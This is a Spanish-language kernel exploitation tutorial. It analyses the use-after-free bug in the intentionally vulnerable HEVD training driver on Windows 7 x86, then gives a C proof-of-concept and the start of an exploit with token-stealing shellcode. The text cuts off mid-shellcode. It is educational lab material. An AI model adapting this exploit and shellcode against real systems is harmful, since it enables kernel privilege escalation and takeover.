0x02 - Introducción a Windows Kernel Use After Frees (UaFs)
Si has estado siguiendo la serie de Windows Kernel Exploitation consecutivamente, deberías haber exploited un Stack Overflow básico contra Windows 7 (x86) y Windows 10 (x64). Aunque este es un salto grande, hay muchas más vulnerabilidades que pueden resultar en la ejecución de código. La mejor manera de familiarizarse con ellos es estudiarlos en un sistema con mitigaciones mínimas. Por este motivo volveremos a Windows 7 (x86).
Además, no utilizaremos Ghidra, esta vez usaremos el código de HEVD. En el próximo artículo volveremos a Ghidra para obtiene una perspectiva sobre cómo lo identificarías utilizando el código o el decompiler.
Table of Contents
- Qué es un Use After Free (Alto Nivel)
- Usando el Código - Ubicarnos con el Diseño
- Descripciones de Funciones
- Explotación
- Recursos
Qué es un Use After Free (Alto Nivel)
En caso que no estés familiarizado que es un “Use After Free (UaF)”, vamos a cubrirlo con una descripción general en que es esta clase de vulnerabilidad. Básicamente, un Use After Free (UaF) ocurre cuando nosotros usamos un objeto después de ser libre. Este objeto puede ser cualquier estructura o clase metido en memoria que luego se libera
Para usar un ejemplo sin ser demasiado técnico, digamos que estás trabajando debajo de un caro y pones tus herramientas a tu lado. Estás trabajando en tu espalda y no estás poniéndo atención a tu caja de herramientas, simplemente metes tu mano en la caja de herramientas y buscas lo que necesitas
En esta caja de herramientas solo tienes una llave (difícil de creer lo sé), agarras una llave, pero en lugar de volver a guardarla en la caja de herramientas la pones en el suelo cerca de tus pies. Aunque lo pusiste cerca a tus pies, tu crees que la llave la regresaste en su ubicación original.
Sin que te des cuenta, un hombre tira una lata de soda adentro de la caja de herramientas
Cuando vas y alcanzas la llave no notas la diferencia entre ella y la lata (porque tienes aletas eres un pingüino). Entonces, terminas cubierto en soda.
OH NO!! Hemos caido víctima a un UaF, el hombre logro aprovecha la vulnerabilidad.
Qué tiene que ver esto con las computadoras?
- El ejemplo de meter la mano en la caja de herramientas sin mirar, es similar en cómo los programas usan la memoria sin “mirar” (verificando si es válido o a cambiado)
- El reemplazo de la llave por la soda demuestra como los “stale reference (pointers)” resultar en operaciones peligrosas
- El hombre tirando la soda representa un atacante aprovechando la memoria liberada (por ejemplo inyectando código malicioso dentro de la memoria reutilizada).
Con esto, estamos listos para comenzar :)
Usando el Código - Ubicarnos con el Diseño
Lo primero que queremos identificar es la ubicación de los códigos de control I/O. Por lo que se parece, cada vulnerabilidad tiene su propia función de “handler” (controlador).
./ArbitraryWrite.c:129:/// Arbitrary Write Ioctl Handler
./MemoryDisclosureNonPagedPool.c:178:/// Memory Disclosure NonPagedPool Ioctl Handler
./DoubleFetch.c:151:/// Double Fetch Ioctl Handler
./BufferOverflowNonPagedPool.c:165:/// Buffer Overflow NonPagedPool Ioctl Handler
./MemoryDisclosureNonPagedPoolNx.c:177:/// Memory Disclosure NonPagedPoolNx Ioctl Handler
./IntegerOverflow.c:154:/// Integer Overflow Ioctl Handler
./UninitializedMemoryPagedPool.c:216:/// Uninitialized Memory PagedPool Ioctl Handler
./WriteNULL.c:117:/// Write NULL Ioctl Handler
./InsecureKernelResourceAccess.c:148:/// Insecure Kernel File Access Ioctl Handler
./BufferOverflowPagedPoolSession.c:165:/// Buffer Overflow PagedPoolSession Ioctl Handler
./BufferOverflowNonPagedPoolNx.c:165:/// Buffer Overflow NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:352:/// Allocate UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:376:/// Use UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:400:/// Free UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:424:/// Allocate Fake Object NonPagedPoolNx Ioctl Handler
./BufferOverflowStack.c:121:/// Buffer Overflow Stack Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:553:/// Create Arbitrary Read Write Helper Object Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:582:/// Set Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:611:/// Get Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:640:/// Delete Arbitrary Read Write Helper Object Ioctl Handler
./UninitializedMemoryStack.c:160:/// Uninitialized Memory Stack Ioctl Handler
./NullPointerDereference.c:200:/// Null Pointer Dereference Ioctl Handler
./BufferOverflowStackGS.c:121:/// Buffer Overflow Stack GS Ioctl Handler
./TypeConfusion.c:213:/// Type Confusion Ioctl Handler
Estamos interesados en los códigos de control para el UseAfterFreeNonPagedPool
.
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
Según la convención de nomenclatura, podemos identificar las siguientes funciones:
AllocateUaFObjectNonPagedPoolIoctlHandler(
UseUaFObjectNonPagedPoolIoctlHandler(
FreeUaFObjectNonPagedPoolIoctlHandler(
AllocateFakeObjectNonPagedPoolIoctlHandler(
Si rastreamos desde dónde se llaman estas funciones, llegamos a ./HackSysExtremeVulnerableDriver.c
que contiene un “switch statement” que nos permitiría activar estas funciones vulnerables.
294 case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
295 DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
296 Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
297 DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
298 break;
299 case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
300 DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
301 Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
302 DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
303 break;
304 case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
305 DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
306 Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
307 DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
308 break;
309 case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
310 DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
311 Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
312 DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
313 break;
Sin embargo, esto todavía no nos dio los códigos de I/O
, así que antes de intentar buscar dentro de cada página usando grep-fu, revisemos el “header file” HackSysExtremeVulnerableDriver.h
.
Dentro de ella se nos da una lista de códigos IOCTL :)
81 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
82 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS IOCTL(0x801)
83 #define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
84 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL IOCTL(0x803)
85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x804)
86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x805)
87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x806)
88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL IOCTL(0x807)
89 #define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
90 #define HEVD_IOCTL_INTEGER_OVERFLOW IOCTL(0x809)
91 #define HEVD_IOCTL_NULL_POINTER_DEREFERENCE IOCTL(0x80A)
92 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
93 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL IOCTL(0x80C)
94 #define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
95 #define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS IOCTL(0x80E)
96 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL IOCTL(0x80F)
97 #define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION IOCTL(0x810)
98 #define HEVD_IOCTL_WRITE_NULL IOCTL(0x811)
99 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX IOCTL(0x812)
100 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX IOCTL(0x813)
101 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x814)
102 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x815)
103 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x816)
104 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX IOCTL(0x817)
105 #define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x818)
106 #define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x819)
107 #define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x81A)
108 #define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)
Sin embargo, para este tutorial solo nos centraremos en lo siguiente:
85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x804)
86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x805)
87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x806)
88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL IOCTL(0x807)
Entender el AllocateUaFObjectNonPagedPoolIoctlHandler
Podemos encontrar esta función dentro de UseAfterFreeNonPagedPool.c
en línea 357.
357 NTSTATUS
358 AllocateUaFObjectNonPagedPoolIoctlHandler(
359 _In_ PIRP Irp,
360 _In_ PIO_STACK_LOCATION IrpSp
361 )
362 {
363 NTSTATUS Status = STATUS_UNSUCCESSFUL;
364
365 UNREFERENCED_PARAMETER(Irp);
366 UNREFERENCED_PARAMETER(IrpSp);
367 PAGED_CODE();
368
369 Status = AllocateUaFObjectNonPagedPool();
370
371 return Status;
372 }
Esta función llamará AllocateUaFObjectNonPagedPool
, que comienza en línea 86.
86 NTSTATUS
87 AllocateUaFObjectNonPagedPool(
88 VOID
89 )
90 {
91 NTSTATUS Status = STATUS_UNSUCCESSFUL;
92 PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
93
94 PAGED_CODE();
95
96 __try
97 {
98 DbgPrint("[+] Allocating UaF Object\n");
99
100 //
101 // Allocate Pool chunk
102 //
103
104 UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
105 NonPagedPool,
106 sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
107 (ULONG)POOL_TAG
108 );
109
110 if (!UseAfterFree)
111 {
112 //
113 // Unable to allocate Pool chunk
114 //
115
116 DbgPrint("[-] Unable to allocate Pool chunk\n");
117
118 Status = STATUS_NO_MEMORY;
119 return Status;
120 }
121 else
122 {
123 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
124 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
125 DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
126 DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
127 }
128
129 //
130 // Fill the buffer with ASCII 'A'
131 //
132
133 RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
134
135 //
136 // Null terminate the char buffer
137 //
138
139 UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
140
141 //
142 // Set the object Callback function
143 //
144
145 UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
146
147 //
148 // Assign the address of UseAfterFree to a global variable
149 //
150
151 g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
152
153 DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
154 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
155 DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
156 }
157 __except (EXCEPTION_EXECUTE_HANDLER)
158 {
159 Status = GetExceptionCode();
160 DbgPrint("[-] Exception Code: 0x%X\n", Status);
161 }
162
163 return Status;
164 }
Analicemos esta función en un nivel alto.
- Líneas 91-92 vemos que se declaran variables, una de ellas es una estructura personalizada que contiene dos miembros: un
puntero a una función
y unchar buffer[0x54]
. - En línea 94 vemos el PAGED_CODE macro definido. Este macro marca esta función “pageable”. Lo que esto significa es que, si la función no está presente en la memoria, se puede mover al disco. El OS ará esto si necesita memoria física para otras cosas.
- Líneas 104-108 vemos una llamada a ExAllocatePoolWithTag() esto es una llamada del Windows API. Básicamente, lo que esto hace es crear “memoria de piscina” o “pool memory” de un tipo específico y devolverá un puntero a la sección de memoria creada, que como podemos ver luego se “cast”.
- Argumento 1: Aquí usamos una piscina “Nonpaged”, al que puede acceder cualquier IRQL, notablemente la memoria asignada con este tipo es ejecutable o
EXECUTABLE
. - Argumento 2: Tamaño
- Argumento 3: Una marca de la piscina, que a mi entender es para debug. Lo podemos encontrar en “common.h” como Hack o “kcaH” como tiene que estar en orden inverso.
- Argumento 1: Aquí usamos una piscina “Nonpaged”, al que puede acceder cualquier IRQL, notablemente la memoria asignada con este tipo es ejecutable o
- Líneas 110-127 nosotros podemos ignorar ya que es solo comprobando la última llamada si fue malo / bueno
- En línea 133 básicamente vemos una llamada a
RtlFillMemory()
otro Windows API (memset en nix). - En línea 139 terminamos el buffer que llenamos con A’s con un NULL
- En línea 145 establecemos el puntero a la función para apuntar a la función
UaFObjectCallbackNonPagedPool
. - En línea 151 asignamos la dirección del objeto creado a la variable global.
No está tan mal! Solo estamos creando una región de memoria (marcado ejecutable) para sostener la estructura PUSE_AFTER_FREE_NON_PAGED_POOL
, llenar el Buffer
miembro (char array), y establece el miembro de Callback (puntero a una función). La definición de la estructura se puede ver a aquí:
62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
63 {
64 FunctionPointer Callback;
65 CHAR Buffer[0x54];
66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
Entender el UseUaFObjectNonPagedPoolIoctlHandler
Una vez más, este es un “wrapper” para llamar a otra función:
375 /// <summary>
376 /// Use UaF Object NonPagedPool Ioctl Handler
377 /// </summary>
378 /// <param name="Irp">The pointer to IRP</param>
379 /// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
380 /// <returns>NTSTATUS</returns>
381 NTSTATUS
382 UseUaFObjectNonPagedPoolIoctlHandler(
383 _In_ PIRP Irp,
384 _In_ PIO_STACK_LOCATION IrpSp
385 )
386 {
387 NTSTATUS Status = STATUS_UNSUCCESSFUL;
388
389 UNREFERENCED_PARAMETER(Irp);
390 UNREFERENCED_PARAMETER(IrpSp);
391 PAGED_CODE();
392
393 Status = UseUaFObjectNonPagedPool();
394
395 return Status;
396 }
Miremos UseUaFObjectNonPagedPool()
.
171 NTSTATUS
172 UseUaFObjectNonPagedPool(
173 VOID
174 )
175 {
176 NTSTATUS Status = STATUS_UNSUCCESSFUL;
177
178 PAGED_CODE();
179
180 __try
181 {
182 if (g_UseAfterFreeObjectNonPagedPool)
183 {
184 DbgPrint("[+] Using UaF Object\n");
185 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
186 DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
187 DbgPrint("[+] Calling Callback\n");
188
189 if (g_UseAfterFreeObjectNonPagedPool->Callback)
190 {
191 g_UseAfterFreeObjectNonPagedPool->Callback();
192 }
193
194 Status = STATUS_SUCCESS;
195 }
196 }
197 __except (EXCEPTION_EXECUTE_HANDLER)
198 {
199 Status = GetExceptionCode();
200 DbgPrint("[-] Exception Code: 0x%X\n", Status);
201 }
202
203 return Status;
204 }
No está tan mal, simplemente llamamos la función Callback
, que vimos anteriormente estaba ambientado en el AllocateUaFObjectNonPagedPoolIoctlHandler()
a UaFObjectCallbackNonPagedPool
.
Entender el FreeUaFObjectNonPagedPoolIoctlHandler
Una vez más vemos que este controlador no acepta argumentos:
405 NTSTATUS
406 FreeUaFObjectNonPagedPoolIoctlHandler(
407 _In_ PIRP Irp,
408 _In_ PIO_STACK_LOCATION IrpSp
409 )
410 {
411 NTSTATUS Status = STATUS_UNSUCCESSFUL;
412
413 UNREFERENCED_PARAMETER(Irp);
414 UNREFERENCED_PARAMETER(IrpSp);
415 PAGED_CODE();
416
417 Status = FreeUaFObjectNonPagedPool();
418
419 return Status;
420 }
Miremos FreeUaFObjectNonPagedPool
:
211 NTSTATUS
212 FreeUaFObjectNonPagedPool(
213 VOID
214 )
215 {
216 NTSTATUS Status = STATUS_UNSUCCESSFUL;
217
218 PAGED_CODE();
219
220 __try
221 {
222 if (g_UseAfterFreeObjectNonPagedPool)
223 {
224 DbgPrint("[+] Freeing UaF Object\n");
225 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
226 DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
227
228 #ifdef SECURE
229 //
230 // Secure Note: This is secure because the developer is setting
231 // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
232 //
233
234 ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
235
236 //
237 // Set to NULL to avoid dangling pointer
238 //
239
240 g_UseAfterFreeObjectNonPagedPool = NULL;
241 #else
242 //
243 // Vulnerability Note: This is a vanilla Use After Free vulnerability
244 // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
245 // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
246 // (dangling pointer)
247 //
248
249 ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
250 #endif
251
252 Status = STATUS_SUCCESS;
253 }
254 }
255 __except (EXCEPTION_EXECUTE_HANDLER)
256 {
257 Status = GetExceptionCode();
258 DbgPrint("[-] Exception Code: 0x%X\n", Status);
259 }
260
261 return Status;
262 }
Aquí vemos una llamada a una nueva Windows API la función ExFreePoolWithTag
. Esta función simplemente desasigna un bloque de memoria del grupo que se creó con un nombre específico (Hack), sin embargo podemos ver que la variable global g_UseAfterFreeObjectNonPagedPool
nunca se hace NULL. Esto significa g_UseAfterFreeObjectNonPagedPool
contendrá un puntero al objeto liberado incluso después de haber sido liberado - un dangling pointer.
Entender el AllocateFakeObjectNonPagedPoolIoctlHandler
Al observar este controlador, vemos que requiere algunos argumentos del usuario en línea 441.
429 NTSTATUS
430 AllocateFakeObjectNonPagedPoolIoctlHandler(
431 _In_ PIRP Irp,
432 _In_ PIO_STACK_LOCATION IrpSp
433 )
434 {
435 NTSTATUS Status = STATUS_UNSUCCESSFUL;
436 PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject = NULL;
437
438 UNREFERENCED_PARAMETER(Irp);
439 PAGED_CODE();
440
441 UserFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
442
443 if (UserFakeObject)
444 {
445 Status = AllocateFakeObjectNonPagedPool(UserFakeObject);
446 }
447
448 return Status;
449 }
De aquí, llamamos AllocateFakeObjectNonPagedPool
.
270 NTSTATUS
271 AllocateFakeObjectNonPagedPool(
272 _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
273 )
274 {
275 NTSTATUS Status = STATUS_SUCCESS;
276 PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
277
278 PAGED_CODE();
279
280 __try
281 {
282 DbgPrint("[+] Creating Fake Object\n");
283
284 //
285 // Allocate Pool chunk
286 //
287
288 KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
289 NonPagedPool,
290 sizeof(FAKE_OBJECT_NON_PAGED_POOL),
291 (ULONG)POOL_TAG
292 );
293
294 if (!KernelFakeObject)
295 {
296 //
297 // Unable to allocate Pool chunk
298 //
299
300 DbgPrint("[-] Unable to allocate Pool chunk\n");
301
302 Status = STATUS_NO_MEMORY;
303 return Status;
304 }
305 else
306 {
307 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
308 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
309 DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
310 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
311 }
312
313 //
314 // Verify if the buffer resides in user mode
315 //
316
317 ProbeForRead(
318 (PVOID)UserFakeObject,
319 sizeof(FAKE_OBJECT_NON_PAGED_POOL),
320 (ULONG)__alignof(UCHAR)
321 );
322
323 //
324 // Copy the Fake structure to Pool chunk
325 //
326
327 RtlCopyMemory(
328 (PVOID)KernelFakeObject,
329 (PVOID)UserFakeObject,
330 sizeof(FAKE_OBJECT_NON_PAGED_POOL)
331 );
332
333 //
334 // Null terminate the char buffer
335 //
336
337 KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
338
339 DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
340 }
341 __except (EXCEPTION_EXECUTE_HANDLER)
342 {
343 Status = GetExceptionCode();
344 DbgPrint("[-] Exception Code: 0x%X\n", Status);
345 }
346
347 return Status;
348 }
Analicemos esto:
- Líneas 288-311 creamos un pedazo de memoria como antes, pero esta vez es un “objeto falso”. Solo mirando la estructura, es del mismo tamaño que el objeto PUSE_AFTER_FREE_NON_PAGED_POOL
- Líneas 317-321 vemos un nuevo Windows API ProbeForRead que comprueba que el modo de usuario esté correctamente alineado.
- Líneas 327-331 nosotros RtlCopyMemory / movemos el búfer de modo de usuario a la sección falsa de memoria que se creó
- Líneas 333-347 nosotros finalizamos el buffer con NULL y regresamos.
Como referencia, este es el objeto falso:
68 typedef struct _FAKE_OBJECT_NON_PAGED_POOL
69 {
70 CHAR Buffer[0x58];
71 } FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
Si estás familiarizado con la exploitation de el modo de usuario, probablemente tus ojos se estan iluminando.
Descripciones de Funciones
En corto esto es lo que hacen las funciones:
Function | Summary |
---|---|
AllocateUaFObjectNonPagedPoolIoctlHandler | Solo estamos creando una región de memoria (ejecutable) para sostener la estructura PUSE_AFTER_FREE_NON_PAGED_POOL , llenando el miembro Buffer (char array), y estableciendo el miembro Callback |
UseUaFObjectNonPagedPoolIoctlHandler | Llama al puntero a la función Callback de el variable global g_UseAfterFreeObjectNonPagedPool |
FreeUaFObjectNonPagedPoolIoctlHandler | Free’s the g_UseAfterFreeObjectNonPagedPool object, and DOES NOT NULL out the variable (dangling pointer) |
AllocateFakeObjectNonPagedPoolIoctlHandler | Crea una región de memoria para contener un objeto del mismo tamaño que la región de memoria original creada, pero con argumentos controlados por el usuario |
Viendo esto tenemos un clásico UAF. Nunca he hecho un Windows UAF pero supongo que el objeto falso ocupará el espacio creado anteriormente. Para hacer esto en teoría sólo necesitamos:
- Crear un objeto
USE_AFTER_FREE_NON_PAGED_POOL
- Libera el objeto
- Crear un objeto
FAKE_OBJECT_NON_PAGED_POOL
(recuperando la memoria que fue liberada) - Llamar
g_UseAfterFreeObjectNonPagedPool.Callback
que debería apuntar a la estructura corrupta
Explotación
Desde aquí escribiendo un PoC parecía fácil, y dado que tuvimos acceso al código:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR IOCTL(0x805)
#define HEVD_FREE IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)
typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
DWORD bytesReturned = 0;
printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
DeviceIoControl(hHEVD,
dIoctl,
pBuffer,
dBuffer,
NULL,
0x00,
&bytesReturned,
NULL);
return;
}
char *allocate_buffer()
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
{
printf("[*] Allocated %d bytes (userland)\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
memset(buffer, 0x41, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
}
return buffer;
}
int main()
{
HANDLE hHEVD = NULL;
char *evilBuffer = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
evilBuffer = allocate_buffer();
if (evilBuffer == NULL)
{
printf("[*] Failed to allocate evil buffer (userland)\n");
return -1;
}
printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);
printf("[*] Freeing object\n");
sendIoctl(hHEVD, HEVD_FREE, NULL, 0);
printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
printf("[*] Triggering UAF\n");
sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
}
Una vez enviado, podemos ver que hemos ganado control sobre el flujo de ejecución.
Vemos 41414141 entonces podemos asumir que los primeros 4 bytes son el puntero a la función, podemos confirmar esto basándonos en el código dentro (UseAfterFreeNonPagedPool.h):
62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
63 {
64 FunctionPointer Callback;
65 CHAR Buffer[0x54];
66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
Escribamos nuestro exploit!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR IOCTL(0x805)
#define HEVD_FREE IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)
typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
/* sendIoctl:
Send the IOCTL code to the driver */
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
DWORD bytesReturned = 0;
printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
DeviceIoControl(hHEVD,
dIoctl,
pBuffer,
dBuffer,
NULL,
0x00,
&bytesReturned,
NULL);
return;
}
/* allocate_buffer:
Creates a userland allocation with the first 4 bytes pointing to the address where our shellcode
was allocated. */
char *allocate_buffer(void *shellcode_addr)
{
char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
if (buffer != NULL)
{
printf("[*] Shellcode located at: %p\n", &shellcode_addr);
memcpy(buffer, &shellcode_addr, 4);
memset(buffer+4, 'A', 83);
}
return buffer;
}
int main()
{
HANDLE hHEVD = NULL;
char *evilBuffer = NULL;
char shellcode[] =
// sickle -a x86 -p windows/x86/kernel_token_stealer -f c -m pinpoint
"\x60" // pushal
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
